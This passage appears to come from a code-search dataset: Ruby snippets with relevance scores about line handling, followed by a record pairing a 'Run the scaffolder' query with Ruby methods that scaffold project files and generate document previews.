Regexp.last_match.offset(0).last}\n end\n starts_and_ends.sort_by! { |hsh| hsh[:starts] }\n\n break_array = []\n starts_and_ends.each do |element|\n # filter start- and endpoints of functions to correctly insert\n # break functionality\n if element[:type] == 'start' && break_counter == 0\n break_array << element\n break_counter = 1\n elsif element[:type] == 'end' && break_counter == 1\n break_array << element\n break_counter = 0\n elsif element[:type] == 'start'\n break_counter += 1 unless code[element[:starts], 4] == 'case' || code[element[:starts], 2] == 'if'\n elsif element[:type] == 'end'\n break_counter -= 1\n end\n end\n\n break_code = code\n break_array.reverse_each do |element|\n if element[:type] == 'start'\n break_code.slice!(element[:starts]..element[:ends]-1)\n break_code = code.insert(element[:starts],\n \"-> a#{VM_PREFIX}_line(number#{VM_PREFIX}), a#{VM_PREFIX}_break(fun() -> \")\n elsif element[:type] == 'end'\n break_code = code.insert(element[:starts], \" end)\")\n end\n end\n\n return_code = ''\n number = 1\n break_code.each_line do |line|\n\n # every arrow with prefix for processing gets a line-function\n # for highlighting information\n line.gsub!(regex_arrow_prefix, \"-> a#{VM_PREFIX}_line(#{number}), \")\n\n # insert line number in former inserted line-functions\n line.gsub!(Regexp.new(\"a#{VM_PREFIX}_line\\\\(number#{VM_PREFIX}\\\\)\"), \"a#{VM_PREFIX}_line(#{number})\")\n\n # find pirate-operations and insert line-number\n line.gsub!(regex_op_prefix, \"(#{number}, \")\n # special treatment for functions with zero parameters,\n # delete previously inserted comma\n line.gsub!(/\\(\\d+,\\s+\\)/, \"(#{number})\")\n\n # add comma with line-number information\n return_code += line.chomp + \" % #{VM_PREFIX}_(#{number}#{VM_PREFIX}_)\\n\"\n number += 1\n end\n return_code\nend", "def pre_process(text_line)\n text_line\n end", "def _reduce_542(val, _values, result)\n _, v1 = val\n\n result = s(:dot2, nil, v1).line v1.line\n\n result\nend", "def wrap_lines(name, folded_lines)\n result = []\n index = 0\n result[index] = \"#{name}: #{folded_lines.shift}\"\n result.concat(folded_lines)\n result.join(\"\\r\\n\\s\")\n end", "def fix_input_line\n line= @input_line.upcase\n contd_str=\n if @split_state == :widow\n widow_modifier\n elsif @last_character_cue &&\n @last_character_cue.input_line == @input_line\n continuation_modifier\n else\n nil\n end\n if contd_str.nil? || contd_str.empty?\n line\n else\n regex= /\\)\\s*$/\n if regex =~ line\n line.sub(regex, \", #{contd_str})\")\n else\n \"#{line} (#{contd_str})\"\n end\n end\n end", "def lines; end", "def lines; end", "def format_lines(lines)\n prev = lines[0]\n slices = lines.slice_before do |e|\n (prev + 1 != e).tap { prev = e }\n end\n slices.map { |slice_first, *, slice_last| slice_last ? (slice_first..slice_last) : slice_first }\n end", "def rb_mvwhline row, col, char, width\n super(row-@top, col-@left, char, width)\n end", "def compile_line(aRawLine)\n line_rep = aRawLine.map { |couple| compile_couple(couple) }\n \n # Apply the rule: when a line just consist of spaces \n # and a section element, then remove all the spaces from that line.\n line_to_squeeze = line_rep.all? do |item|\n if item.kind_of?(StaticText)\n item.source =~ /\\s+/\n else\n false\n end\n end\n line_rep_ending(line_rep) unless line_to_squeeze\n \n return line_rep\n end", "def line_and_column(pos); end", "def line_stroke(left_border, junc_border, right_border, &block)\n stroke = ''\n stroke += left_border if settings.border.left?\n dimensions.num_cols.times do |col_num|\n stroke += junc_border if col_num > 0 && settings.border.inner_vert?\n stroke += yield\n end\n stroke += right_border if settings.border.right?\n stroke\n end", "def _linear_white_space\n _save = self.pos\n\n _save1 = self.pos\n while true # sequence\n _save2 = self.pos\n _tmp = apply(:_CRLF)\n unless _tmp\n _tmp = true\n self.pos = _save2\n end\n unless _tmp\n self.pos = _save1\n break\n end\n _tmp = apply(:_LWSP_char)\n unless _tmp\n self.pos = _save1\n end\n break\n end # end sequence\n\n if _tmp\n while true\n\n _save3 = self.pos\n while true # sequence\n _save4 = self.pos\n _tmp = apply(:_CRLF)\n unless _tmp\n _tmp = true\n self.pos = _save4\n end\n unless _tmp\n self.pos = _save3\n break\n end\n _tmp = apply(:_LWSP_char)\n unless _tmp\n self.pos = _save3\n end\n break\n end # end sequence\n\n break unless _tmp\n end\n _tmp = true\n else\n self.pos = _save\n end\n set_failed_rule :_linear_white_space unless _tmp\n return _tmp\n end", "def print_separator_line\nline = \"\"\n3.times do\n3.times { line << SEPARATOR[:horizontal] }\nline << SEPARATOR[:cross]\nend\nputs line[0...line.length - 1]\nprint \"\\t\"\nend", "def process_line ln, line\r\n # convert inline processor\r\n while /\\#\\#(?<p_>[A-Z][_A-Z0-9]*)(:\\s*(?<a_>.+))?\\#\\#/ =~ line\r\n rst = conv_inline(p_, a_, ln, line)\r\n raise \"do not use '##.*##' inside your inline processor converting result\" if rst =~ /\\#\\#[A-Z][_A-Z0-9]*(:\\s*.+)?\\#\\#/\r\n line.sub!(/\\#\\#[A-Z][_A-Z0-9]*(:\\s*.+)?\\#\\#/, rst)\r\n end\r\n \r\n # create a token, with processor name\r\n token = self.tokenize(ln, line)\r\n # based on the the token indent level, close token stack if any\r\n self.close_stack token.indent_level\r\n \r\n # add token and then close it unless it opens a block\r\n @token_stack << token\r\n self.close_stack token.indent_level unless token.block_open?\r\n\r\n self # for methods chain\r\n end", "def objective_x; line_height / 2; end", "def divider_line\n lines - 2\n end", "def mapf_format_by_line(text, max_width = contents_width)\n oline, nline, tw = \"\", \"\", 0\n loop do\n # Format each word until reach the width limit\n oline, nline, tw, done = mapf_format_by_word(text, nline, tw, max_width)\n return oline, nline, tw if done\n end\n end", "def mapf_format_by_line(text, max_width = contents_width)\n oline, nline, tw = \"\", \"\", 0\n loop do\n # Format each word until reach the width limit\n oline, nline, tw, done = mapf_format_by_word(text, nline, tw, max_width)\n return oline, nline, tw if done\n end\n end", "def fresh_line?; end", "def start_line_number=(_); end", "def input_lines; end", "def foldable_comment_block_ranges; end", "def line(number)\n end", "def source_line=(_); end", "def rb_mvwvline row, col, char, width\n super(row-@top, col-@left, char, width)\n end", "def line_a(line, height_headers)\n total_count = height_headers.count\n line = line.split(' ')\n\n if line.count != total_count\n (total_count - line.count).times do\n line.insert(1, '')\n end\n end\n line\n end", "def each_line(sub_area)\n byte_width_minus_one = sub_area.w * pixel_byte_size - 1\n stride = line_byte_size\n offset = byte_offset(sub_area.loc) - stride\n\n sub_area.h.times do\n offset += stride\n range = offset .. (offset + byte_width_minus_one)\n yield range\n end\n end", "def cover_line(segment)\n l = segment.l\n r = segment.r\n l = 0 if l < 0\n r -= 1\n r = @line.length-1 if r > @line.length-1\n\n for i in l..r\n @line[i] = true\n end\n end", "def lines_of_code; end", "def lines_of_code; end", "def line_cache; end", "def maatsf_set_next_line(text, pos)\n text.gsub!(/^[ \\t\\r\\f]*/, \"\")\n max_width = maatsf_total_line_width(pos[:y])\n # Create a Dummy Contents\n real_contents = contents # Preserve Real Contents\n self.contents = Bitmap.new(24, 24)\n self.contents.font = real_contents.font.dup\n @atsf_testing = true\n # Do everything\n oline, nline, tw = mapf_format_by_line(text.clone, max_width)\n # Replace old line with the new one\n text.sub!(/#{Regexp.escape(oline)}/m, nline)\n contents.dispose # Dispose dummy contents\n self.contents = real_contents # Restore real contents\n @atsf_testing = false\n return tw\n end" ]
[ "0.69714314", "0.6694071", "0.6678519", "0.64364696", "0.63826483", "0.62295663", "0.62194186", "0.62194186", "0.62194186", "0.6218207", "0.61070603", "0.60982686", "0.60982686", "0.60982686", "0.60982686", "0.60982686", "0.60982686", "0.60982686", "0.60982686", "0.60982686", "0.60982686", "0.60982686", "0.60982686", "0.60982686", "0.60982686", "0.60982686", "0.60519934", "0.60454464", "0.6013796", "0.5952564", "0.5921984", "0.5921984", "0.5900291", "0.58933216", "0.5890861", "0.588385", "0.5877503", "0.5806215", "0.58030796", "0.5800476", "0.579556", "0.5764351", "0.57626575", "0.57581115", "0.5756347", "0.57240033", "0.571178", "0.571178", "0.5711686", "0.5700512", "0.56868005", "0.56849307", "0.568487", "0.5670899", "0.5652918", "0.56494653", "0.56494653", "0.5644072", "0.5633654", "0.5630743", "0.5619943", "0.5610268", "0.5609454", "0.5604758", "0.56033874", "0.55772", "0.557422", "0.5556453", "0.55489725", "0.5531204", "0.55190635", "0.55183357", "0.5517288", "0.5515315", "0.5515315", "0.55116546", "0.5509359", "0.5495472", "0.54936546", "0.5493019", "0.54911613", "0.54760516", "0.54738164", "0.5469909", "0.54685533", "0.5465785", "0.5465785", "0.54585344", "0.5458027", "0.54563814", "0.5446265", "0.5433892", "0.5432261", "0.54275066", "0.5421929", "0.54188454", "0.5418749", "0.54172415", "0.54172415", "0.5413645", "0.54083633" ]
0.0
-1
rubocop:disable Metrics/AbcSize, Metrics/CyclomaticComplexity, Metrics/MethodLength, Metrics/PerceivedComplexity Bite me. If this app becomes wildy profitable, I'll fix it.
def delta_message if this_weeks_errors > last_weeks_errors if percentage_difference > 25 "a big increase of #{percentage_difference}% from" elsif percentage_difference < 5 "a slight increase of #{percentage_difference}% from" else "up #{percentage_difference}% from" end elsif last_weeks_errors > this_weeks_errors if percentage_difference > 25 "a huge decrease of #{percentage_difference}% from" elsif percentage_difference < 5 "a slight decrease of #{percentage_difference}% from" else "down #{percentage_difference}% from" end else "no change (what are the odds!?!) from" end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def private; end", "def appraisals; end", "def appraisals; end", "def implementation; end", "def implementation; end", "def strategy; end", "def refutal()\n end", "def private_method\n end", "def intensifier; end", "def probers; end", "def schubert; end", "def sitemaps; end", "def isolated; end", "def isolated; end", "def used?; end", "def suivre; end", "def internal; end", "def weber; end", "def apis; end", "def generate_comprehensive\n\n end", "def who_we_are\r\n end", "def silly_adjective; end", "def custom; end", "def custom; end", "def pausable; end", "def initialize # rubocop:disable Lint/UselessMethodDefinition\n super()\n end", "def initialize # rubocop:disable Lint/UselessMethodDefinition\n super()\n end", "def initialize # rubocop:disable Lint/UselessMethodDefinition\n super()\n end", "def requirements; end", "def requirements; end", "def requirements; end", "def requirements; end", "def before_run; end", "def one_gradable_ex_only\n end", "def prepareForReuse; end", "def common\n \n end", "def wrapped_causes; end", "def anchored; end", "def specie; end", "def specie; end", "def specie; end", "def specie; end", "def apply\n end", "def internal?; end", "def extra; end", "def ignore_method_conflicts; end", "def from_api?; false end", "def awaken!\n\t\traise 'Not implemented'\n\tend", "def celebration; end", "def ignore; end", "def safe_by_default; end", "def conscientious_require; end", "def villian; end", "def api; end", "def api; end", "def romeo_and_juliet; end", "def offences_by; end", "def ordered_railties; end", "def ordered_railties; end", "def relatorios\n end", "def initialize\n # nothing here for now\n end", "def used\n raise NotImplementedError\n end", "def transient?; end", "def entry_point\n raise NotImplementedError\n end", "def before_setup; end", "def checks; end", "def apply\n\t\t\n\tend", "def apply\n\t\t\n\tend", "def initialize\n super()\n end", "def main\n super\n return self\n end", "def how_it_works\r\n end", "def raise_deprecations; end", "def invention; end", "def req\n \n end", "def ignores; end", "def executor; end", "def executor; end", "def executor; end", "def initialize\n \n end", "def scientist; end", "def internship_passed; end", "def big_bad; end", "def operations; end", "def operations; end", "def initialize\n super\n end", "def initialize\n super\n end", "def initialize\n super\n end", "def ridicule_faultfully_prerevision()\n end", "def missing; end", "def public; end", "def public; end", "def production_curtailment; end", "def run; end", "def run; end", "def run; end", "def run; end", "def run; end", "def run; end", "def run; end", "def run; end", "def run; end" ]
[ "0.6590742", "0.5880974", "0.5880974", "0.56726605", "0.56726605", "0.55850405", "0.55055743", "0.5493033", "0.545662", "0.5348972", "0.5331226", "0.5307275", "0.5283785", "0.5283785", "0.52585757", "0.52475375", "0.5226848", "0.5216945", "0.51839626", "0.51791507", "0.5154442", "0.51305443", "0.51183206", "0.51183206", "0.51066625", "0.5085262", "0.5085262", "0.5085262", "0.5075608", "0.5075608", "0.5075608", "0.5075608", "0.50478435", "0.504463", "0.5032258", "0.5031866", "0.5025673", "0.501664", "0.5014294", "0.5014294", "0.5014294", "0.5014294", "0.5010499", "0.5003475", "0.49986458", "0.49810517", "0.4977689", "0.49735892", "0.49733683", "0.4971185", "0.497064", "0.49654856", "0.49615175", "0.4958186", "0.4958186", "0.49538508", "0.49450675", "0.49436402", "0.49436402", "0.49434465", "0.49415496", "0.4930843", "0.49213964", "0.49138784", "0.49128276", "0.49126768", "0.49117538", "0.49117538", "0.49073058", "0.4898334", "0.4897625", "0.4894804", "0.48928952", "0.488749", "0.4885524", "0.48781672", "0.48781672", "0.48781672", "0.48714235", "0.48710397", "0.486794", "0.48675257", "0.4863555", "0.4863555", "0.4858325", "0.4858325", "0.4858325", "0.4853449", "0.48433602", "0.484304", "0.484304", "0.48370442", "0.48348352", "0.48348352", "0.48348352", "0.48348352", "0.48348352", "0.48348352", "0.48348352", "0.48348352", "0.48348352" ]
0.0
-1
Run the scaffolder It created the directories and the nescessary files
def run super create_easy_type_source create_simple_provider_source create_name_attribute_source end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def setup()\n create_directories\n end", "def generate_files\n ip = local_ip\n version = Farmstead::VERSION\n scaffold_path = \"#{File.dirname __FILE__}/scaffold\"\n scaffold = Dir.glob(\"#{scaffold_path}/**/*.erb\", File::FNM_DOTMATCH)\n scaffold.each do |file|\n basename = File.basename(file)\n folderstruct = file.match(\"#{scaffold_path}/(.*)\")[1]\n if basename != folderstruct\n foldername = File.dirname(folderstruct)\n create_recursive(\"#{@name}/#{foldername}\")\n end\n projectpath = \"#{@name}/#{folderstruct}\".chomp(\".erb\")\n template = File.read(file)\n results = ERB.new(template).result(binding)\n copy_to_directory(results, projectpath)\n end\n end", "def run\n return unless setup_compilable\n\n @collection.files.values.each do |pointer|\n compiled_file = File.join(@collection.compiled_path, pointer['id'])\n FileUtils.mkdir_p File.dirname(compiled_file)\n FileUtils.cp_r pointer['realpath'], compiled_file\n Ruhoh::Friend.say { green \" > #{pointer['id']}\" }\n end\n end", "def gen_sub_directories\n FileUtils.mkdir_p RDoc::Generator::FILE_DIR\n FileUtils.mkdir_p RDoc::Generator::CLASS_DIR\n rescue\n $stderr.puts $!.message\n exit 1\n end", "def gen_sub_directories\n FileUtils.mkdir_p RDoc::Generator::FILE_DIR\n FileUtils.mkdir_p RDoc::Generator::CLASS_DIR\n rescue\n $stderr.puts $!.message\n exit 1\n end", "def run\n return unless setup_compilable\n\n @collection.files.values.each do |pointer|\n compiled_file = File.join(@collection.compiled_path, pointer['id'])\n\n FileUtils.mkdir_p File.dirname(compiled_file)\n FileUtils.cp_r pointer['realpath'], compiled_file\n\n Ruhoh::Friend.say { green \" > #{pointer['id']}\" }\n end\n end", "def call\n INSTALL_DIRS.each do |dir|\n FileUtils.mkdir_p Karafka.root.join(dir)\n end\n\n INSTALL_FILES_MAP.each do |source, target|\n target = Karafka.root.join(target)\n next if File.exist?(target)\n\n source = Karafka.core_root.join(\"templates/#{source}\")\n FileUtils.cp_r(source, target)\n end\n end", "def create_structure\n if File.exists?(\"features\") && File.directory?(\"features\")\n return\n else\n FileUtils.mkpath \"features/step_definitions\"\n FileUtils.mkdir \"features/support\"\n FileUtils.mkdir \"features/screenshots\"\n FileUtils.touch\"features/support/env.rb\"\n end\n \n\n end", "def perform\n\tcheck_if_user_gave_input\n\tcreate_folder(get_folder_name)\n\t\n\tDir.chdir(\"#{get_folder_name}\")\n\t\n\tgemfile_creation\n\tgit_init\n\tdotenv_gitignore\n\tlib\n\trspec\n\treadme\n\n\tprint 'enter the title of your main ruby file : '\n\tmain_dot_rb = STDIN.gets.chomp\n\tputs ''\n\n\tDir.chdir('lib') do\n\t\tcreate_main_dot_rb(main_dot_rb)\n\t\tcreate_template_dot_rb\n\tend\n\n\tDir.chdir('spec') do\n\t\tcreate_main_spec_dot_rb(main_dot_rb)\n\t\tcreate_template_spec_dot_rb\n\t\tsystem(\"subl #{main_dot_rb}_spec.rb\")\t\n\tend\nend", "def package_stemcell\n @stemcell_files << generate_image << generate_manifest\n # package up files\n package_files\n end", "def package_stemcell\n @stemcell_files << generate_image << generate_manifest << stemcell_files\n # package up files\n package_files\n end", "def bootstrap\n puts \"Creating folder for project at #{folder}\"\n mkdir_p folder\n default_attributes\n save\n end", "def init_skeleton_files\n puts \"Site name is #{@site_name}\"\n \n puts \"Copying bootstrap files into site assets folder...\"\n\n img_folder = \"#{Caboose::site_assets_path}/#{@site_name_slug}/images\"\n `mkdir -p #{img_folder}` if !File.exists?(img_folder)\n icons_folder = \"#{Caboose::site_assets_path}/#{@site_name_slug}/images/icons\"\n `mkdir -p #{icons_folder}` if !File.exists?(icons_folder)\n fonts_folder = \"#{Caboose::site_assets_path}/#{@site_name_slug}/fonts\"\n `mkdir -p #{fonts_folder}` if !File.exists?(fonts_folder)\n\n str = `find #{Rails.root}/bootstrap -type file`\n x = \"#{Rails.root}/bootstrap\".length + 1\n str.strip.split(\"\\n\").each do |file|\n next if file.ends_with?('.DS_Store')\n next if !@store && (file.include?('product') || file.include?('search_results')) \n next if !@mls && file.include?('rets')\n\n file2 = \"#{Caboose::site_assets_path}/#{@site_name_slug}/#{file[x..-1]}\"\n file2 = file2.gsub('sitename',@site_name_slug)\n\n folder = File.dirname(file2) \n `mkdir -p #{folder}` if !File.exists?(folder)\n `cp #{file} #{file2}` if !File.exists?(file2)\n \n next if !['.erb', '.css', '.js', '.scss'].include?(File.extname(file)) \n \n f = File.open(file2, 'rb')\n str = f.read\n f.close\n if !@store\n str.gsub!('@import \"|SITE_SLUG|/css/pages/products\";','')\n str.gsub!('@import \"|SITE_SLUG|/css/pages/product_details\";','')\n str.gsub!('@import \"|SITE_SLUG|/css/pages/product_index\";','')\n str.gsub!('//= require |SITE_SLUG|/js/products','')\n end\n if !@mls\n str.gsub!('@import \"|SITE_SLUG|/css/pages/rets\";','')\n str.gsub!('@import \"|SITE_SLUG|/css/pages/rets_residential_details\";','')\n str.gsub!('@import \"|SITE_SLUG|/css/pages/rets_residential_index\";','')\n str.gsub!(\"//= require |SITE_SLUG|/js/functions_rets\",\"\")\n str.gsub!(\"//= require photoswipe\",\"\")\n str.gsub!(\"//= require photoswipe_ui\",\"\")\n str.gsub!(\" *= require photoswipe\",\"\")\n str.gsub!(\" *= require photoswipe_skin\",\"\")\n str.gsub!(\"_skin\",\"\")\n str.gsub!(\"_ui\",\"\")\n end\n str.gsub!(\"|SITE_SLUG|\",@site_name_slug)\n str.gsub!(\"|SITE_NAME|\",@site_name) \n File.open(file2, 'w') { |f| f.write(str) } \n end\n \n puts \"Moving block files out of site assets folder...\" \n if !File.exists?(\"#{Rails.root}/app/views/caboose/blocks/#{@site_name_slug}\")\n `mv #{Caboose::site_assets_path}/#{@site_name_slug}/blocks #{Rails.root}/app/views/caboose/blocks/#{@site_name_slug}`\n else\n `rm -rf #{Caboose::site_assets_path}/#{@site_name_slug}/blocks` \n end\n \n #Find.find(skeleton_root).each do |file| \n # next if File.directory?(file)\n # next if !@store && (file.include?('product') || file.include?('search_results'))\n # next if !@mls && file.include?('rets')\n # next if file.include?(\".DS_Store\")\n # file2 = file.gsub(skeleton_root, '').gsub(\"sitename\",@site_name_slug)\n # file2 = \"#{Caboose::site_assets_path}/#{@site_name_slug}/#{file2}\"\n #\n # FileUtils.cp(file, file2)\n # \n # #Replace any variables\n # if File.extname(file2) == \".erb\" || File.extname(file2) == \".css\" || File.extname(file2) == \".js\" || File.extname(file2) == \".scss\"\n # f = File.open(file2, 'rb')\n # str = f.read\n # f.close\n # if !@store\n # str.gsub!('@import \"|SITE_SLUG|/css/pages/products\";','')\n # str.gsub!('@import \"|SITE_SLUG|/css/pages/product_details\";','')\n # str.gsub!('@import \"|SITE_SLUG|/css/pages/product_index\";','')\n # str.gsub!('//= require |SITE_SLUG|/js/products','')\n # end\n # if !@mls\n # str.gsub!('@import \"|SITE_SLUG|/css/pages/rets\";','')\n # str.gsub!('@import \"|SITE_SLUG|/css/pages/rets_residential_details\";','')\n # str.gsub!('@import \"|SITE_SLUG|/css/pages/rets_residential_index\";','')\n # str.gsub!(\"//= require |SITE_SLUG|/js/functions_rets\",\"\")\n # str.gsub!(\"//= require photoswipe\",\"\")\n # str.gsub!(\"//= require photoswipe_ui\",\"\")\n # str.gsub!(\" *= require photoswipe\",\"\")\n # str.gsub!(\" *= require photoswipe_skin\",\"\")\n # str.gsub!(\"_skin\",\"\")\n # str.gsub!(\"_ui\",\"\")\n # end\n # str.gsub!(\"|SITE_SLUG|\",@site_name_slug)\n # str.gsub!(\"|SITE_NAME|\",@site_name)\n # #str.gsub!(\"|HOME_PAGE_ID|\",@home_page_id.to_s)\n # File.open(file2, 'w') { |f| f.write(str) }\n # end \n #end\n \n end", "def build()\n \n #check dir exists, if not, make it\n if(!File.exists?(@path))\n Dir.mkdir(@path)\n end\n \n #build directory structure\n puts 'Building directory structure'\n build_skeleton(@template.directory_structure)\n \n #execute build tasks\n puts 'Running build tasks'\n execute_tasks(@template.tasks,@template.path)\n \n puts 'Skeleton built'\n \n end", "def generate_all\n copy_template_dir('layouts', 'layouts')\n copy_template_dir('content/bootstrap', 'content/bootstrap')\n copy_template_dir('content/content', 'content/content')\n delete_target_file('lib/default.rb')\n copy_template_dir('lib', 'lib')\n delete_target_file('Rules')\n copy_template_file('Rules', 'Rules')\n copy_template_file('.gitignore', '.gitignore')\n copy_template_file('cg_config.rb', 'cg_config.rb')\n copy_template_file('cg_config.rb_sample', 'cg_config.rb_sample')\n delete_target_file('content/stylesheet.css')\n delete_target_file('content/index.html')\n delete_target_file('layouts/default.html')\n create_empty_dir('content/images')\n end", "def run\n unless !@valid_name || File.exists?(@project_name) || File.directory?(@project_name)\n $stdout.puts \"Creating goliath application under the directory #{@project_name}\"\n FileUtils.mkdir @project_name\n \n create_base_dirs\n copy_files_to_target\n setup_api_module\n copy_files_to_dir 'application.rb','config'\n copy_files_to_dir 'database.yml','config'\n $stdout.puts \"\\e[1;32m \\trun\\e[0m\\tbundle install\"\n Dir.chdir(\"#{@project_name}\")\n system(\"bundle install\")\n else \n unless !@valid_name\n $stdout.puts \"\\e[1;31mError:\\e[0m The directory #{@project_name} already exists, aborting. Maybe move it out of the way before continuing.\"\n end\n end\n end", "def prepare_config_files\n #Create .config dir\n #Create tucotuco dir\n #Create short dir\n #Create info file\n end", "def bootstrap_folder\n FileUtils.mkdir_p folder_path\n end", "def setup\n\n for i in 1..ROOT_FILES_X\n File.open(\"/rootfilex#{i}.txt\", 'w+').chmod(0777) #Just using random permissions aside from having world execute bit included or not\n # puts \"rootfilex#{i}.txt\"\n end\n\n for i in (ROOT_FILES_X + 1)..(ROOT_FILES + ROOT_FILES_X)\n File.open(\"/rootfile#{i}.txt\", 'w+').chmod(0660)\n # puts \"rootfile#{i}.txt\"\n end\n\n for i in 1..HIDDEN_FILES_X\n File.open(\"/.hiddenfilex#{i}\", 'w+').chmod(0555)\n # puts \".hiddenfile#{i}\"\n end\n\n for i in (HIDDEN_FILES_X + 1)..(HIDDEN_FILES + HIDDEN_FILES)\n File.open(\"/.hiddenfile#{i}\", 'w+').chmod(0442)\n # puts \".hiddenfile#{i}\"\n end\n\n make_test_dirs_with_files(\"/\", 1)\n\n end", "def execute!\n make_web_directory\n generate_universe\n generate_html\n print_success_message\n end", "def main()\n res = @s.execute_get(@s.url_for(\"var/search/needsprocessing.json\"))\n unless res.code == '200'\n raise \"Failed to retrieve list to process [#{res.code}]\"\n end\n\n process_results = JSON.parse(res.body)['results']\n log \"processing #{process_results.size} entries\"\n unless process_results.size > 0\n return\n end\n\n # Create some temporary directories.\n Dir.mkdir DOCS_DIR unless File.directory? DOCS_DIR\n Dir.mkdir PREV_DIR unless File.directory? PREV_DIR\n Dir.mkdir PDFS_DIR unless File.directory? PDFS_DIR\n\n # Create a temporary file in the DOCS_DIR for all the pending files and outputs all the filenames in the terminal.\n Dir.chdir DOCS_DIR\n queued_files = process_results.collect do |result|\n FileUtils.touch result['_path']\n end\n\n log \" \"\n log \"Starts a new batch of queued files: #{queued_files.join(', ')}\"\n\n Dir['*'].each do |id|\n FileUtils.rm_f id\n log \"processing #{id}\"\n\n begin\n meta_file = @s.execute_get @s.url_for(\"p/#{id}.json\")\n unless meta_file.code == '200'\n raise \"Failed to process: #{id}\"\n end\n\n meta = JSON.parse meta_file.body\n mime_type = meta['_mimeType']\n given_extension = meta[\"sakai:fileextension\"]\n extension = determine_file_extension_with_mime_type(mime_type, given_extension)\n filename = id + extension\n log \"with filename: #{filename}\"\n\n if ignore_processing?(mime_type) || extension.eql?('')\n if extension.eql?('')\n log \"ignoring processing of #{filename}, no preview can be generated for files without a known mime type\"\n log \"The file's original extension was #{given_extension}, and it's mime type is #{mime_type}\"\n else\n log \"ignoring processing of #{filename}, no preview can be generated for #{mime_type} files\"\n end\n else\n # Making a local copy of the file.\n content_file = @s.execute_get @s.url_for(\"p/#{id}\")\n unless ['200', '204'].include? content_file.code\n raise \"Failed to process file: #{id}, status: #{content_file.code}\"\n end\n File.open(filename, 'wb') { |f| f.write content_file.body }\n\n if process_as_image? extension\n extension = output_extension extension\n page_count = 1\n filename_thumb = 'thumb' + extension\n\n content = resize_and_write_file filename, filename_thumb, 900\n post_file_to_server id, content, :normal, page_count, extension\n\n content = resize_and_write_file filename, filename_thumb, 180, 225\n post_file_to_server id, content, :small, page_count, extension\n\n FileUtils.rm_f DOCS_DIR + \"/#{filename_thumb}\"\n else\n begin\n # Check if user wants autotagging\n user_id = meta[\"sakai:pool-content-created-for\"]\n user_file = @s.execute_get @s.url_for(\"/system/me?uid=#{user_id}\")\n unless user_file.code == '200'\n raise \"Failed to get user: #{uid}\"\n end\n user = JSON.parse(user_file.body)\n if user[\"user\"][\"properties\"][\"isAutoTagging\"] != \"false\"\n # Get text from the document\n Docsplit.extract_text filename, :ocr => false\n text_content = IO.read(id + \".txt\")\n terms = extract_terms(text_content)\n tags = \"\"\n terms.each_with_index do |t, i|\n tags += \"- #{t}\\n\"\n terms[i] = \"/tags/#{t}\"\n end\n # Generate tags for document\n @s.execute_post @s.url_for(\"p/#{id}\"), {':operation' => 'tag', 'key' => terms}\n log \"Generate tags for #{id}, #{terms}\"\n admin_id = \"admin\"\n origin_file_name = meta[\"sakai:pooled-content-file-name\"]\n if not terms.nil? and terms.length > 0 and user[\"user\"][\"properties\"][\"sendTagMsg\"] and user[\"user\"][\"properties\"][\"sendTagMsg\"] != \"false\"\n msg_body = \"We have automatically added the following tags for #{origin_file_name}:\\n\\n #{tags}\\n\\nThese tags were created to aid in the discoverability of your content.\\n\\nRegards, \\nThe Sakai Team\"\n @s.execute_post(@s.url_for(\"~#{admin_id}/message.create.html\"), {\n \"sakai:type\" => \"internal\",\n \"sakai:sendstate\" => \"pending\",\n \"sakai:messagebox\" => \"outbox\",\n \"sakai:to\" => \"internal:#{user_id}\",\n \"sakai:from\" => \"#{admin_id}\",\n \"sakai:subject\" => \"We've added some tags to #{origin_file_name}\",\n \"sakai:body\" => msg_body,\n \"_charset_\" => \"utf-8\",\n \"sakai:category\" => \"message\"\n })\n log \"sending message from #{admin_id} user to #{user_id}\"\n end\n end\n rescue Exception => msg\n log \"failed to generate document tags: #{msg}\", :warn\n end\n\n # Generating image previews of the document.\n if only_first_page? extension\n Docsplit.extract_images filename, :size => '1000x', :format => :jpg, :pages => 1\n else\n Docsplit.extract_images filename, :size => '1000x', :format => :jpg\n end\n\n # Skip documents with a page count of 0, just to be sure.\n next if Dir[id + '_*'].size == 0\n\n Dir.mkdir PREV_DIR + \"/#{id}\" unless File.directory? PREV_DIR + \"/#{id}\"\n\n # Moving these previews to another directory: \"PREVS_DIR/filename/index.jpg\".\n Dir[id + '_*'].each_with_index do |preview, index|\n FileUtils.mv \"#{id}_#{index + 1}.jpg\", \"#{PREV_DIR}/#{id}/#{index}.jpg\"\n end\n\n Dir.chdir PREV_DIR + \"/#{id}\"\n page_count = Dir[\"*\"].size\n\n # Upload each preview and create+upload a thumbnail.\n for index in (0..page_count - 1)\n filename_p = \"#{index}.jpg\"\n # Upload the generated preview of this page.\n nbytes, content = File.size(filename_p), nil\n File.open(filename_p, \"rb\") { |f| content = f.read nbytes }\n post_file_to_server id, content, :large, index + 1\n\n # Generate 2 thumbnails and upload them to the server.\n filename_thumb = File.basename(filename_p, '.*') + '.normal.jpg'\n content = resize_and_write_file filename_p, filename_thumb, 700\n post_file_to_server id, content, :normal, index + 1\n\n filename_thumb = File.basename(filename_p, '.*') + '.small.jpg'\n content = resize_and_write_file filename_p, filename_thumb, 180, 225\n post_file_to_server id, content, :small, index + 1\n end\n\n FileUtils.remove_dir PREV_DIR + \"/#{id}\"\n end\n # Pass on the page_count\n @s.execute_post @s.url_for(\"p/#{id}\"), {\"sakai:pagecount\" => page_count, \"sakai:hasPreview\" => \"true\"}\n\n # Change to the documents directory otherwise we won't find the next file.\n Dir.chdir DOCS_DIR\n end\n\n #SAKAI TO PDF\n # We check if mimetype is sakaidoc\n if(mime_type == \"x-sakai/document\")\n if (File.exist?(\"../wkhtmltopdf\"))\n # Go to PDF Dir\n Dir.chdir PDFS_DIR\n\n #delay in secs\n $delay = \"20\"\n\n #filename with extension\n filename_p = id + \".pdf\"\n\n # We parse the structure data to var structure (we do not need the rest)\n structure = JSON.parse meta['structure0']\n\n # Create var and add beginning of code line to run\n line = \"../wkhtmltopdf \"\n\n # Go through structure and add the pagelink for each page id\n structure.each do |page|\n link = \"content#l=\" + page[0] + \"&p=\" + id\n link = @s.url_for(link)\n link = \"'\" + link + \"' \"\n line += link\n end\n\n # Fetch cookie value to get access to all content\n # USERNAME PASSWORD SERVER\n $username = \"admin\"\n auth = \"../auth.sh \" + $username + \" \" + $pw + \" \" + $preview_referer\n cookietoken = `#{auth}`\n\n # Append end of line containing arguments for print css, delay and authentication\n line += filename_p + \" --print-media-type --redirect-delay \" + $delay + \"000 --cookie 